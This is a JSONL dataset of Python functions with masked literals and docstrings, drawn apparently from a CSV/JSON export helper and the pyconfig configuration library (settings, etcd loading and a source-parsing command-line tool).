{"signature": "def fill_gaps(list_dicts):", "body": "field_names = []  <EOL>for datum in list_dicts:<EOL><INDENT>for key in datum.keys():<EOL><INDENT>if key not in field_names:<EOL><INDENT>field_names.append(key)<EOL><DEDENT><DEDENT><DEDENT>for datum in list_dicts:<EOL><INDENT>for key in field_names:<EOL><INDENT>if key not in datum:<EOL><INDENT>datum[key] = '<STR_LIT>'<EOL><DEDENT><DEDENT><DEDENT>return list(field_names), list_dicts<EOL>", "docstring": "Fill gaps in a list of dictionaries. Add empty keys to dictionaries in\nthe list that don't contain other entries' keys\n\n:param list_dicts: A list of dictionaries\n:return: A list of field names, a list of dictionaries with identical keys", "id": "f12379:m1"}
{"signature": "def to_csv(data, field_names=None, filename='<STR_LIT>',<EOL>overwrite=True,<EOL>write_headers=True, append=False, flat=True,<EOL>primary_fields=None, sort_fields=True):", "body": "<EOL>if not overwrite and path.isfile(filename):<EOL><INDENT>raise FileExistsError('<STR_LIT>')<EOL><DEDENT>write_type = '<STR_LIT:w>' if not append else '<STR_LIT:a>'<EOL>if flat or not field_names:<EOL><INDENT>data = [flatten(datum) for datum in data]<EOL><DEDENT>if not field_names:<EOL><INDENT>field_names, data = fill_gaps(data)<EOL><DEDENT>if sort_fields:<EOL><INDENT>field_names.sort()<EOL><DEDENT>if primary_fields:<EOL><INDENT>for key in primary_fields[::-<NUM_LIT:1>]:<EOL><INDENT>field_names.insert(<NUM_LIT:0>, field_names.pop(field_names.index(key)))<EOL><DEDENT>data = sorted(data, key=lambda k: k[field_names[<NUM_LIT:0>]], reverse=True)<EOL><DEDENT>with open(filename, write_type, encoding='<STR_LIT:utf-8>') as f:<EOL><INDENT>writer = csv.DictWriter(f, fieldnames=field_names, lineterminator='<STR_LIT:\\n>')<EOL>if not append or write_headers:<EOL><INDENT>writer.writeheader()<EOL><DEDENT>for datum in data:<EOL><INDENT>for key in list(datum.keys()):<EOL><INDENT>if key not in field_names:<EOL><INDENT>del datum[key]<EOL><DEDENT>elif type(datum[key]) is str:<EOL><INDENT>datum[key] = datum[key].strip()<EOL><DEDENT>datum[key] = str(datum[key])<EOL><DEDENT>writer.writerow(datum)<EOL><DEDENT><DEDENT>", "docstring": "DEPRECATED    Write a list of dicts to a csv file\n\n:param data: List of dicts\n:param field_names: The list column names\n:param filename: The name of the file\n:param overwrite: Overwrite the file if exists\n:param write_headers: Write the headers to the csv file\n:param append: Write new rows if the file exists\n:param flat: Flatten the dictionary before saving\n:param primary_fields: The first columns of the csv file\n:param sort_fields: Sort the field names alphabetically\n:return: None", "id": "f12379:m2"}
{"signature": "def to_json(data, filename='<STR_LIT>', indent=<NUM_LIT:4>):", "body": "with open(filename, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(json.dumps(data, indent=indent))<EOL><DEDENT>", "docstring": "Write an object to a json file\n\n:param data: The object\n:param filename: The name of the file\n:param indent: The indentation of the file\n:return: None", "id": "f12379:m3"}
{"signature": "def save_file(filename, source, folder=\"<STR_LIT>\"):", "body": "r = requests.get(source, stream=True)<EOL>if r.status_code == <NUM_LIT:200>:<EOL><INDENT>if not path.isdir(folder):<EOL><INDENT>makedirs(folder, exist_ok=True)<EOL><DEDENT>with open(\"<STR_LIT>\" % (folder, filename), '<STR_LIT:wb>') as f:<EOL><INDENT>for chunk in r:<EOL><INDENT>f.write(chunk)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Download and save a file at path\n\n:param filename: The name of the file\n:param source: The location of the resource online\n:param folder: The directory the file will be saved in\n:return: None", "id": "f12379:m4"}
{"signature": "def reload(clear=False):", "body": "Config().reload(clear)<EOL>", "docstring": "Shortcut method for calling reload.", "id": "f12385:m0"}
{"signature": "def setting(name, default=None, allow_default=True):", "body": "return Setting(name, default, allow_default)<EOL>", "docstring": "Shortcut method for getting a setting descriptor.\n\n        See :class:`pyconfig.Setting` for details.", "id": "f12385:m1"}
{"signature": "def get(name, default=None, allow_default=True):", "body": "return Config().get(name, default, allow_default=allow_default)<EOL>", "docstring": "Shortcut method for getting a setting value.\n\n        :param str name: Setting key name.\n        :param default: Default value of setting if it's not explicitly\n                        set. Defaults to `None`\n        :param bool allow_default: If true, use the parameter default as\n                        default if the key is not set, else raise\n                        :exc:`KeyError`.  Defaults to `None`\n        :raises: :exc:`KeyError` if allow_default is false and the setting is\n                 not set.", "id": "f12385:m2"}
{"signature": "def set(name, value):", "body": "Config().set(name, value)<EOL>", "docstring": "Shortcut method to change a setting.", "id": "f12385:m3"}
{"signature": "def reload_hook(func):", "body": "Config().add_reload_hook(func)<EOL>return func<EOL>", "docstring": "Decorator for registering a reload hook.", "id": "f12385:m4"}
{"signature": "def clear():", "body": "Config().clear()<EOL>", "docstring": "Shortcut for clearing all settings.", "id": "f12385:m5"}
{"signature": "def deferred():", "body": "pass<EOL>", "docstring": "Import this to indicate that a module should be deferred to load its\nsettings last. This allows you to override some settings from a pyconfig\nplugin with another plugin in a reliable manner.\n\nThis is a special instance that pyconfig looks for by name. You must use\nthe import style ``from pyconfig import deferred`` for this to work.\n\nIf you are not deferring a module, you may use ``deferred`` as a variable\nname without confusing or conflicting with pyconfig's behavior.\n\nExample::\n\n    from pyconfig import Namespace, deferred\n\n    my_settings = Namespace()\n    my_settings.some_setting = 'overridden by deferred'", "id": "f12385:m6"}
{"signature": "def env(key, default):", "body": "value = os.environ.get(key, None)<EOL>if value is not None:<EOL><INDENT>log.info('<STR_LIT>', key.lower().replace('<STR_LIT:_>', '<STR_LIT:.>'), value)<EOL>return value<EOL><DEDENT>key = key.lower().replace('<STR_LIT:_>', '<STR_LIT:.>')<EOL>value = get(key)<EOL>if value is not None:<EOL><INDENT>return value<EOL><DEDENT>return default<EOL>", "docstring": "Helper to try to get a setting from the environment, or pyconfig, or\nfinally use a provided default.", "id": "f12385:m7"}
{"signature": "def env_key(key, default):", "body": "env = key.upper().replace('<STR_LIT:.>', '<STR_LIT:_>')<EOL>return os.environ.get(env, default)<EOL>", "docstring": "Try to get `key` from the environment.\n\nThis mutates `key` to replace dots with underscores and makes it all\nuppercase.\n\n    my.database.host => MY_DATABASE_HOST", "id": "f12385:m8"}
{"signature": "def set(self, name, value):", "body": "if not self.settings.get('<STR_LIT>', False):<EOL><INDENT>name = name.lower()<EOL><DEDENT>log.info(\"<STR_LIT>\", name, repr(value))<EOL>with self.mut_lock:<EOL><INDENT>self.settings[name] = value<EOL><DEDENT>", "docstring": "Changes a setting value.\n\n            This implements a locking mechanism to ensure some level of thread\n            safety.\n\n            :param str name: Setting key name.\n            :param value: Setting value.", "id": "f12385:c1:m1"}
{"signature": "def _update(self, conf_dict, base_name=None):", "body": "for name in conf_dict:<EOL><INDENT>if name.startswith('<STR_LIT:_>'):<EOL><INDENT>continue<EOL><DEDENT>value = conf_dict[name]<EOL>if value is Namespace:<EOL><INDENT>continue<EOL><DEDENT>if base_name:<EOL><INDENT>name = base_name + '<STR_LIT:.>' + name<EOL><DEDENT>if isinstance(value, Namespace):<EOL><INDENT>for name, value in value.iteritems(name):<EOL><INDENT>self.set(name, value)<EOL><DEDENT><DEDENT>elif callable(value):<EOL><INDENT>value = value()<EOL>if value is not None:<EOL><INDENT>self.set(name, value)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.set(name, value)<EOL><DEDENT><DEDENT>", "docstring": "Updates the current configuration with the values in `conf_dict`.\n\n            :param dict conf_dict: Dictionary of key value settings.\n            :param str base_name: Base namespace for setting keys.", "id": "f12385:c1:m2"}
{"signature": "def load(self, clear=False):", "body": "if clear:<EOL><INDENT>self.settings = {}<EOL><DEDENT>defer = []<EOL>for conf in pkg_resources.iter_entry_points('<STR_LIT>'):<EOL><INDENT>if conf.attrs:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>mod_name = conf.module_name<EOL>base_name = conf.name if conf.name != '<STR_LIT>' else None<EOL>log.info(\"<STR_LIT>\", mod_name)<EOL>mod_dict = runpy.run_module(mod_name)<EOL>if mod_dict.get('<STR_LIT>', None) is deferred:<EOL><INDENT>log.info(\"<STR_LIT>\", mod_name)<EOL>mod_dict.pop('<STR_LIT>')<EOL>defer.append((mod_name, base_name, mod_dict))<EOL>continue<EOL><DEDENT>self._update(mod_dict, base_name)<EOL><DEDENT>for mod_name, base_name, mod_dict in defer:<EOL><INDENT>log.info(\"<STR_LIT>\", mod_name)<EOL>self._update(mod_dict, base_name)<EOL><DEDENT>if etcd().configured:<EOL><INDENT>mod_dict = etcd().load()<EOL>if mod_dict:<EOL><INDENT>self._update(mod_dict)<EOL><DEDENT><DEDENT>mod_dict = None<EOL>try:<EOL><INDENT>mod_dict = runpy.run_module('<STR_LIT>')<EOL><DEDENT>except ImportError:<EOL><INDENT>pass<EOL><DEDENT>except ValueError as err:<EOL><INDENT>if getattr(err, '<STR_LIT:message>') != '<STR_LIT>':<EOL><INDENT>raise<EOL><DEDENT>mod_name = '<STR_LIT>'<EOL>if sys.version_info < (<NUM_LIT:2>, <NUM_LIT:7>):<EOL><INDENT>loader, code, fname = runpy._get_module_details(mod_name)<EOL><DEDENT>else:<EOL><INDENT>_, loader, code, fname = runpy._get_module_details(mod_name)<EOL><DEDENT>mod_dict = runpy._run_code(code, {}, {}, mod_name, fname, loader,<EOL>pkg_name=None)<EOL><DEDENT>if mod_dict:<EOL><INDENT>log.info(\"<STR_LIT>\")<EOL>self._update(mod_dict)<EOL><DEDENT>self.call_reload_hooks()<EOL>", "docstring": "Loads all the config plugin modules to build a working configuration.\n\nIf there is a ``localconfig`` module on the python path, it will be\nloaded last, overriding other settings.\n\n:param bool clear: Clear out the previous settings before loading", "id": "f12385:c1:m3"}
{"signature": "def call_reload_hooks(self):", "body": "<EOL>for hook in self.reload_hooks:<EOL><INDENT>hook()<EOL><DEDENT>", "docstring": "Calls all the reload hooks that are registered.", "id": "f12385:c1:m4"}
{"signature": "def get(self, name, default, allow_default=True):", "body": "if not self.settings.get('<STR_LIT>', False):<EOL><INDENT>name = name.lower()<EOL><DEDENT>if name not in self.settings:<EOL><INDENT>if not allow_default:<EOL><INDENT>raise LookupError('<STR_LIT>'.format(name=name))<EOL><DEDENT>self.settings[name] = default<EOL><DEDENT>return self.settings[name]<EOL>", "docstring": "Return a setting value.\n\n            :param str name: Setting key name.\n            :param default: Default value of setting if it's not explicitly\n                            set.\n            :param bool allow_default: If true, use the parameter default as\n                            default if the key is not set, else raise\n                            :exc:`LookupError`\n            :raises: :exc:`LookupError` if allow_default is false and the setting is\n                     not set.", "id": "f12385:c1:m5"}
{"signature": "def reload(self, clear=False):", "body": "log.info(\"<STR_LIT>\")<EOL>self.load(clear)<EOL>", "docstring": "Reloads the configuration.", "id": "f12385:c1:m6"}
{"signature": "def add_reload_hook(self, hook):", "body": "self.reload_hooks.append(hook)<EOL>", "docstring": "Registers a reload hook that's called when :meth:`load` is called.\n\n            :param function hook: Hook to register.", "id": "f12385:c1:m7"}
{"signature": "def clear(self):", "body": "self.settings = {}<EOL>", "docstring": "Clears all the cached configuration.", "id": "f12385:c1:m8"}
{"signature": "def init(self, hosts=None, cacert=None, client_cert=None, client_key=None):", "body": "<EOL>try:<EOL><INDENT>import etcd<EOL>self.module = etcd<EOL><DEDENT>except ImportError:<EOL><INDENT>pass<EOL><DEDENT>if not self.module:<EOL><INDENT>return<EOL><DEDENT>self._parse_jetconfig()<EOL>hosts = env('<STR_LIT>', hosts)<EOL>protocol = env('<STR_LIT>', None)<EOL>cacert = env('<STR_LIT>', cacert)<EOL>client_cert = env('<STR_LIT>', client_cert)<EOL>client_key = env('<STR_LIT>', client_key)<EOL>username = None<EOL>password = None<EOL>auth = env('<STR_LIT>', None)<EOL>if auth:<EOL><INDENT>auth = auth.split('<STR_LIT::>')<EOL>auth.append('<STR_LIT>')<EOL>username = auth[<NUM_LIT:0>]<EOL>password = auth[<NUM_LIT:1>]<EOL><DEDENT>hosts = self._parse_hosts(hosts)<EOL>if hosts is None:<EOL><INDENT>return<EOL><DEDENT>kw = {}<EOL>kw['<STR_LIT>'] = True<EOL>if protocol:<EOL><INDENT>kw['<STR_LIT>'] = protocol<EOL><DEDENT>if username:<EOL><INDENT>kw['<STR_LIT:username>'] = username<EOL><DEDENT>if password:<EOL><INDENT>kw['<STR_LIT:password>'] = password<EOL><DEDENT>if cacert:<EOL><INDENT>kw['<STR_LIT>'] = os.path.abspath(cacert)<EOL><DEDENT>if client_cert and client_key:<EOL><INDENT>kw['<STR_LIT>'] = ((os.path.abspath(client_cert),<EOL>os.path.abspath(client_key)))<EOL><DEDENT>elif client_cert:<EOL><INDENT>kw['<STR_LIT>'] = os.path.abspath(client_cert)<EOL><DEDENT>if cacert or client_cert or client_key:<EOL><INDENT>kw['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>self.client = self.module.Client(hosts, **kw)<EOL>", "docstring": "Handle creating the new etcd client instance and other business.\n\n:param hosts: Host string or list of hosts (default: `'127.0.0.1:2379'`)\n:param cacert: CA cert filename (optional)\n:param client_cert: Client cert filename (optional)\n:param client_key: Client key filename (optional)\n:type ca: str\n:type cert: str\n:type key: str", "id": "f12385:c2:m2"}
{"signature": "def load(self, prefix=None, depth=None):", "body": "prefix = prefix or self.prefix<EOL>prefix = '<STR_LIT:/>' + prefix.strip('<STR_LIT:/>') + '<STR_LIT:/>'<EOL>if depth is None:<EOL><INDENT>depth = self.inherit_depth<EOL><DEDENT>if not self.configured:<EOL><INDENT>log.debug(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if self.watching:<EOL><INDENT>log.info(\"<STR_LIT>\", prefix)<EOL>self.start_watching()<EOL><DEDENT>log.info(\"<STR_LIT>\", prefix)<EOL>try:<EOL><INDENT>result = self.client.get(prefix)<EOL><DEDENT>except self.module.EtcdKeyNotFound:<EOL><INDENT>result = None<EOL><DEDENT>if not result:<EOL><INDENT>log.info(\"<STR_LIT>\")<EOL>return {}<EOL><DEDENT>update = {}<EOL>for item in result.children:<EOL><INDENT>key = item.key<EOL>value = item.value<EOL>try:<EOL><INDENT>value = pytool.json.from_json(value)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>if not self.case_sensitive:<EOL><INDENT>key = key.lower()<EOL><DEDENT>if key.startswith(prefix):<EOL><INDENT>key = key[len(prefix):]<EOL><DEDENT>update[key] = value<EOL><DEDENT>inherited = Config().settings.get(self.inherit_key,<EOL>update.get(self.inherit_key, None))<EOL>if depth > <NUM_LIT:0> and inherited:<EOL><INDENT>log.info(\"<STR_LIT>\")<EOL>inherited = self.load(inherited, depth - <NUM_LIT:1>) or {}<EOL>inherited.update(update)<EOL>update = inherited<EOL><DEDENT>return update<EOL>", "docstring": "Return a dictionary of settings loaded from etcd.", "id": "f12385:c2:m3"}
{"signature": "def get_watcher(self):", "body": "if not self.watching:<EOL><INDENT>raise StopIteration()<EOL><DEDENT>return self.client.eternal_watch(self.prefix, recursive=True)<EOL>", "docstring": "Return a etcd watching generator which yields events as they happen.", "id": "f12385:c2:m4"}
{"signature": "def start_watching(self):", "body": "<EOL>if self.watcher and self.watcher.is_alive():<EOL><INDENT>return<EOL><DEDENT>self.watcher = Watcher()<EOL>self.watcher.start()<EOL>", "docstring": "Begins watching etcd for changes.", "id": "f12385:c2:m5"}
{"signature": "def _parse_hosts(self, hosts):", "body": "<EOL>if hosts is None:<EOL><INDENT>return<EOL><DEDENT>if isinstance(hosts, six.string_types):<EOL><INDENT>hosts = [host.strip() for host in hosts.split('<STR_LIT:U+002C>')]<EOL>hosts = [host.split('<STR_LIT::>') for host in hosts]<EOL>hosts = [(host[<NUM_LIT:0>], int(host[<NUM_LIT:1>])) for host in hosts]<EOL><DEDENT>return tuple(hosts)<EOL>", "docstring": "Return hosts parsed into a tuple of tuples.\n\n:param hosts: String or list of hosts", "id": "f12385:c2:m6"}
{"signature": "def _parse_jetconfig(self):", "body": "conf = env('<STR_LIT>', None)<EOL>if not conf:<EOL><INDENT>return<EOL><DEDENT>import urlparse<EOL>auth = None<EOL>port = None<EOL>conf = conf.split('<STR_LIT:U+002C>').pop()<EOL>entry = urlparse.urlparse(conf)<EOL>scheme = entry.scheme<EOL>host = entry.netloc or entry.path <EOL>if '<STR_LIT:@>' in host:<EOL><INDENT>auth, host = host.split('<STR_LIT:@>')<EOL><DEDENT>if '<STR_LIT::>' in host:<EOL><INDENT>host, port = host.split('<STR_LIT::>')<EOL><DEDENT>if not port and scheme == '<STR_LIT>':<EOL><INDENT>port = '<STR_LIT>'<EOL><DEDENT>if scheme:<EOL><INDENT>os.environ['<STR_LIT>'] = scheme<EOL><DEDENT>if auth:<EOL><INDENT>os.environ['<STR_LIT>'] = auth<EOL><DEDENT>if port:<EOL><INDENT>host = host + \"<STR_LIT::>\" + port<EOL><DEDENT>os.environ['<STR_LIT>'] = host<EOL>", "docstring": "Undocumented cross-compatability functionality with jetconfig\n(https://github.com/shakefu/jetconfig) that is very sloppy.", "id": "f12385:c2:m7"}
{"signature": "def main():", "body": "parser = argparse.ArgumentParser(description=\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>target_group = parser.add_mutually_exclusive_group()<EOL>target_group.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>help=\"<STR_LIT>\",<EOL>metavar='<STR_LIT:F>')<EOL>target_group.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>help=\"<STR_LIT>\",<EOL>metavar='<STR_LIT:M>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>help=\"<STR_LIT>\",<EOL>action='<STR_LIT:store_true>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>help=\"<STR_LIT>\",<EOL>action='<STR_LIT:store_true>')<EOL>key_group = parser.add_mutually_exclusive_group()<EOL>key_group.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>help=\"<STR_LIT>\",<EOL>action='<STR_LIT:store_true>')<EOL>key_group.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>help=\"<STR_LIT>\",<EOL>action='<STR_LIT:store_true>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>help=\"<STR_LIT>\",<EOL>action='<STR_LIT:store_true>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>help=\"<STR_LIT>\",<EOL>action='<STR_LIT:store_true>')<EOL>parser.add_argument('<STR_LIT:-c>', '<STR_LIT>',<EOL>help=\"<STR_LIT>\" % bool(pygments),<EOL>action='<STR_LIT>', default=bool(pygments),<EOL>const=(not bool(pygments)))<EOL>args = parser.parse_args()<EOL>if args.color and not pygments:<EOL><INDENT>_error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if args.module:<EOL><INDENT>_handle_module(args)<EOL><DEDENT>if args.filename:<EOL><INDENT>_handle_file(args)<EOL><DEDENT>", "docstring": "Main script for `pyconfig` command.", "id": "f12386:m0"}
{"signature": "def _handle_module(args):", "body": "module = _get_module_filename(args.module)<EOL>if not module:<EOL><INDENT>_error(\"<STR_LIT>\", args.module)<EOL><DEDENT>elif isinstance(module, Unparseable):<EOL><INDENT>_error(\"<STR_LIT>\", args.module)<EOL><DEDENT>_parse_and_output(module, args)<EOL>", "docstring": "Handles the -m argument.", "id": "f12386:m1"}
{"signature": "def _handle_file(args):", "body": "filename = args.filename<EOL>_parse_and_output(filename, args)<EOL>", "docstring": "Handle the --file argument.", "id": "f12386:m2"}
{"signature": "def _error(msg, *args):", "body": "print(msg % args, file=sys.stderr)<EOL>sys.exit(<NUM_LIT:1>)<EOL>", "docstring": "Print an error message and exit.\n\n:param msg: A message to print\n:type msg: str", "id": "f12386:m3"}
{"signature": "def _get_module_filename(module):", "body": "<EOL>module = module.split('<STR_LIT:.>')<EOL>package = '<STR_LIT:.>'.join(module[:-<NUM_LIT:1>])<EOL>module = module[-<NUM_LIT:1>]<EOL>try:<EOL><INDENT>if not package:<EOL><INDENT>module = __import__(module)<EOL><DEDENT>else:<EOL><INDENT>package = __import__(package, fromlist=[module])<EOL>module = getattr(package, module, None)<EOL><DEDENT>filename = getattr(module, '<STR_LIT>', None)<EOL>if not filename:<EOL><INDENT>return Unparseable()<EOL><DEDENT>if filename.endswith('<STR_LIT>'):<EOL><INDENT>filename = filename[:-<NUM_LIT:1>]<EOL>if not os.path.exists(filename) and os.path.isfile(filename):<EOL><INDENT>return Unparseable()<EOL><DEDENT><DEDENT>if filename.endswith('<STR_LIT>'):<EOL><INDENT>filename = filename[:-<NUM_LIT:11>]<EOL><DEDENT>return filename<EOL><DEDENT>except ImportError:<EOL><INDENT>return<EOL><DEDENT>", "docstring": "Return the filename of `module` if it can be imported.\n\nIf `module` is a package, its directory will be returned.\n\nIf it cannot be imported ``None`` is returned.\n\nIf the ``__file__`` attribute is missing, or the module or package is a\ncompiled egg, then an :class:`Unparseable` instance is returned, since the\nsource can't be retrieved.\n\n:param module: A module name, such as ``'test.test_config'``\n:type module: str", "id": "f12386:m4"}
{"signature": "def _parse_and_output(filename, args):", "body": "relpath = os.path.dirname(filename)<EOL>if os.path.isfile(filename):<EOL><INDENT>calls = _parse_file(filename, relpath)<EOL><DEDENT>elif os.path.isdir(filename):<EOL><INDENT>calls = _parse_dir(filename, relpath)<EOL><DEDENT>else:<EOL><INDENT>_error(\"<STR_LIT>\", filename)<EOL><DEDENT>if not calls:<EOL><INDENT>_error(\"<STR_LIT>\")<EOL><DEDENT>if args.load_configs:<EOL><INDENT>keys = set()<EOL>for call in calls:<EOL><INDENT>keys.add(call.key)<EOL><DEDENT>conf = pyconfig.Config()<EOL>for key, value in conf.settings.items():<EOL><INDENT>if key in keys:<EOL><INDENT>continue<EOL><DEDENT>calls.append(_PyconfigCall('<STR_LIT>', key, value, [None]*<NUM_LIT:4>))<EOL><DEDENT><DEDENT>_output(calls, args)<EOL>", "docstring": "Parse `filename` appropriately and then output calls according to the\n`args` specified.\n\n:param filename: A file or directory\n:param args: Command arguments\n:type filename: str", "id": "f12386:m5"}
{"signature": "def _output(calls, args):", "body": "<EOL>if args.natural_sort or args.source:<EOL><INDENT>calls = sorted(calls, key=lambda c: (c.filename, c.lineno))<EOL><DEDENT>else:<EOL><INDENT>calls = sorted(calls, key=lambda c: c.key)<EOL><DEDENT>out = []<EOL>if args.only_keys:<EOL><INDENT>keys = set()<EOL>for call in calls:<EOL><INDENT>if call.key in keys:<EOL><INDENT>continue<EOL><DEDENT>out.append(_format_call(call, args))<EOL>keys.add(call.key)<EOL><DEDENT>out = '<STR_LIT:\\n>'.join(out)<EOL>if args.color:<EOL><INDENT>out = _colorize(out)<EOL><DEDENT>print(out, end='<STR_LIT:U+0020>')<EOL>return<EOL><DEDENT>keys = set()<EOL>for call in calls:<EOL><INDENT>if call.default:<EOL><INDENT>keys.add(call.key)<EOL><DEDENT><DEDENT>for call in calls:<EOL><INDENT>if not args.all and not call.default and call.key in keys:<EOL><INDENT>continue<EOL><DEDENT>out.append(_format_call(call, args))<EOL><DEDENT>out = '<STR_LIT:\\n>'.join(out)<EOL>if args.color:<EOL><INDENT>out = _colorize(out)<EOL><DEDENT>print(out, end='<STR_LIT:U+0020>')<EOL>", "docstring": "Outputs `calls`.\n\n:param calls: List of :class:`_PyconfigCall` instances\n:param args: :class:`~argparse.ArgumentParser` instance\n:type calls: list\n:type args: argparse.ArgumentParser", "id": "f12386:m6"}
{"signature": "def _format_call(call, args):", "body": "out = '<STR_LIT>'<EOL>if args.source:<EOL><INDENT>out += call.annotation() + '<STR_LIT:\\n>'<EOL><DEDENT>if args.only_keys:<EOL><INDENT>out += call.get_key()<EOL>return out<EOL><DEDENT>if args.view_call:<EOL><INDENT>out += call.as_call()<EOL><DEDENT>elif args.load_configs:<EOL><INDENT>out += call.as_live()<EOL><DEDENT>else:<EOL><INDENT>out += call.as_namespace()<EOL><DEDENT>return out<EOL>", "docstring": "Return `call` formatted appropriately for `args`.\n\n:param call: A pyconfig call object\n:param args: Arguments from the command\n:type call: :class:`_PyconfigCall`", "id": "f12386:m7"}
{"signature": "def _colorize(output):", "body": "if not pygments:<EOL><INDENT>return output<EOL><DEDENT>return pygments.highlight(output,<EOL>pygments.lexers.PythonLexer(),<EOL>pygments.formatters.Terminal256Formatter(style='<STR_LIT>'))<EOL>", "docstring": "Return `output` colorized with Pygments, if available.", "id": "f12386:m8"}
{"signature": "def _parse_dir(directory, relpath):", "body": "relpath = os.path.dirname(relpath)<EOL>pyconfig_calls = []<EOL>for root, dirs, files in os.walk(directory):<EOL><INDENT>for filename in files:<EOL><INDENT>if not filename.endswith('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>filename = os.path.join(root, filename)<EOL>pyconfig_calls.extend(_parse_file(filename, relpath))<EOL><DEDENT><DEDENT>return pyconfig_calls<EOL>", "docstring": "Return a list of :class:`_PyconfigCall` from recursively parsing\n`directory`.\n\n:param directory: Directory to walk looking for python files\n:param relpath: Path to make filenames relative to\n:type directory: str\n:type relpath: str", "id": "f12386:m9"}
{"signature": "def _parse_file(filename, relpath=None):", "body": "with open(filename, '<STR_LIT:r>') as source:<EOL><INDENT>source = source.read()<EOL><DEDENT>pyconfig_calls = []<EOL>try:<EOL><INDENT>nodes = ast.parse(source, filename=filename)<EOL><DEDENT>except SyntaxError:<EOL><INDENT>return []<EOL><DEDENT>first_lines = source[<NUM_LIT:0>:<NUM_LIT:200>]<EOL>match = re.match('<STR_LIT>', first_lines)<EOL>if match:<EOL><INDENT>try:<EOL><INDENT>coding = match.group(<NUM_LIT:1>)<EOL>source = source.decode(coding)<EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\", filename)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>source = source.split('<STR_LIT:\\n>')<EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\", filename);<EOL>return []<EOL><DEDENT>if relpath:<EOL><INDENT>filename = os.path.relpath(filename, relpath)<EOL><DEDENT>for call in ast.walk(nodes):<EOL><INDENT>if not isinstance(call, _ast.Call):<EOL><INDENT>continue<EOL><DEDENT>func = call.func<EOL>if not isinstance(call.func, _ast.Attribute):<EOL><INDENT>continue<EOL><DEDENT>if getattr(func.value, '<STR_LIT:id>', None) != '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>if func.attr not in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>continue<EOL><DEDENT>args = []<EOL>if call.args:<EOL><INDENT>arg = call.args[<NUM_LIT:0>]<EOL>if isinstance(arg, _ast.Str):<EOL><INDENT>args.append(arg.s)<EOL><DEDENT>else:<EOL><INDENT>args.append(_map_arg(arg))<EOL><DEDENT><DEDENT>for arg in call.args[<NUM_LIT:1>:]:<EOL><INDENT>args.append(_map_arg(arg))<EOL><DEDENT>line = (filename, source[call.lineno-<NUM_LIT:1>], call.lineno, call.col_offset)<EOL>call = _PyconfigCall(func.attr, args[<NUM_LIT:0>], args[<NUM_LIT:1>:], line)<EOL>pyconfig_calls.append(call)<EOL><DEDENT>return pyconfig_calls<EOL>", "docstring": "Return a list of :class:`_PyconfigCall` from parsing `filename`.\n\n:param filename: A file to parse\n:param relpath: Relative directory to strip (optional)\n:type filename: str\n:type relpath: str", "id": "f12386:m10"}
{"signature": "def _map_arg(arg):", "body": "<EOL>if isinstance(arg, _ast.Str):<EOL><INDENT>return repr(arg.s)<EOL><DEDENT>elif isinstance(arg, _ast.Num):<EOL><INDENT>return arg.n<EOL><DEDENT>elif isinstance(arg, _ast.Name):<EOL><INDENT>name = arg.id<EOL>if name == '<STR_LIT:True>':<EOL><INDENT>return True<EOL><DEDENT>elif name == '<STR_LIT:False>':<EOL><INDENT>return False<EOL><DEDENT>elif name == '<STR_LIT:None>':<EOL><INDENT>return None<EOL><DEDENT>return name<EOL><DEDENT>else:<EOL><INDENT>return Unparseable()<EOL><DEDENT>", "docstring": "Return `arg` appropriately parsed or mapped to a usable value.", "id": "f12386:m11"}
{"signature": "def as_namespace(self, namespace=None):", "body": "key = self.key<EOL>if namespace and key.startswith(namespace):<EOL><INDENT>key = key[len(namespace) + <NUM_LIT:1>:]<EOL><DEDENT>return \"<STR_LIT>\" % (self.get_key(), self._default() or NotSet())<EOL>", "docstring": "Return this call as if it were being assigned in a pyconfig namespace.\n\nIf `namespace` is specified and matches the top level of this call's\n:attr:`key`, then that section of the key will be removed.", "id": "f12386:c2:m1"}
{"signature": "def as_live(self):", "body": "key = self.get_key()<EOL>default = pyconfig.get(key)<EOL>if default:<EOL><INDENT>default = repr(default)<EOL><DEDENT>else:<EOL><INDENT>default = self._default() or NotSet()<EOL><DEDENT>return \"<STR_LIT>\" % (key, default)<EOL>", "docstring": "Return this call as if it were being assigned in a pyconfig namespace,\nbut load the actual value currently available in pyconfig.", "id": "f12386:c2:m2"}
{"signature": "def as_call(self):", "body": "default = self._default()<EOL>default = '<STR_LIT:U+002CU+0020>' + default if default else '<STR_LIT>'<EOL>return \"<STR_LIT>\" % (self.method, self.get_key(), default)<EOL>", "docstring": "Return this call as it is called in its source.", "id": "f12386:c2:m3"}
{"signature": "def annotation(self):", "body": "if not self.source:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>return \"<STR_LIT>\" % (self.filename, self.lineno)<EOL>", "docstring": "Return this call's source annotation.", "id": "f12386:c2:m4"}
{"signature": "def get_key(self):", "body": "if not isinstance(self.key, Unparseable):<EOL><INDENT>return self.key<EOL><DEDENT>line = self.source[self.col_offset:]<EOL>regex = re.compile('''<STR_LIT>''')<EOL>match = regex.match(line)<EOL>if not match:<EOL><INDENT>return Unparseable()<EOL><DEDENT>return \"<STR_LIT>\" % match.group(<NUM_LIT:1>)<EOL>", "docstring": "Return the call key, even if it has to be parsed from the source.", "id": "f12386:c2:m5"}
